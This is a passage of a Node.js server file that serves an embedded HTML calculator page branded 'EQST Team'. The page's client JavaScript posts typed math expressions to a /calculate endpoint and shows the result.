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" alt="EQST Team" />
      </div>
      <div class="subtitle">Experts, Qualified Security Team</div>
    </div>
    <div class="card">
      <div>
        <label>수식 입력</label>
        <textarea id="expr" placeholder="수식을 입력하세요&#10;예: sqrt(16) + cos(pi)"></textarea>
      </div>
      <div class="btn-row">
        <button class="btn-clear" onclick="clearAll()">Clear</button>
        <button class="btn-run" onclick="calc()">계산</button>
      </div>
      <div>
        <label>결과</label>
        <div class="result-box empty" id="result">결과가 여기에 표시됩니다</div>
      </div>
    </div>
  </main>
  <script>
    async function calc() {
      const expr = document.getElementById('expr').value
      if (!expr.trim()) return
      const resultEl = document.getElementById('result')
      resultEl.className = 'result-box empty'
      resultEl.textContent = '계산 중...'
      try {
        const res = await fetch('/calculate', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ expr })
        })
        const data = await res.json()
        if (data.error) {
          resultEl.className = 'result-box error'
          resultEl.textContent = data.error
        } else {
          resultEl.className = 'result-box'
          resultEl.textContent = data.result || ''
        }
      } catch(e) {
        resultEl.className = 'result-box error'
        resultEl.textContent = '서버 연결 실패'
      }
    }

    function clearAll() {
      document.getElementById('expr').value = ''
      const resultEl = document.getElementById('result')
      resultEl.className = 'result-box empty'
      resultEl.textContent = '결과가 여기에 표시됩니다'
    }

    document.getElementById('expr').addEventListener('keydown', e => {
      if (e.ctrlKey && e.key === 'Enter') calc()
    })
  </script>
</body>
</html>`
}

server.listen(3000, () => console.log('http://localhost:3000'))